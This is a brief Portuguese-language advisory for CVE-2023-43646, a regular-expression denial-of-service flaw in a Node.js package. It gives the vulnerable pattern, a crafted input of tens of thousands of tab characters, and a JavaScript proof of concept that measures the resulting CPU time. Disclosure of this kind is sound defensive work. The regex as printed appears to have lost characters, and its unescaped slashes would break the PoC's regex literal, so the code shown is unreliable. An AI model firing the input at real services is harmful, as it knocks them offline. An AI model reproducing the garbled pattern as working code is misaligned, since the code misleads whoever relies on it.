
redos
CVE-2023-43646
CVSS : 8.6
Sep 26, 2023
ReDoS in node.js package
Parte do projeto rebob
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
Esta vulnerabilidade pode ser explorada quando há um desequilíbrio nos parênteses, o que resulta em retrocesso excessivo e, consequentemente, aumenta significativamente a carga da CPU e o tempo de processamento. Esta vulnerabilidade pode ser acionada usando a seguinte entrada:
'\t'.repeat(54773) + '\t/function/i'
Aqui está um código PoC simples para demonstrar o problema:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");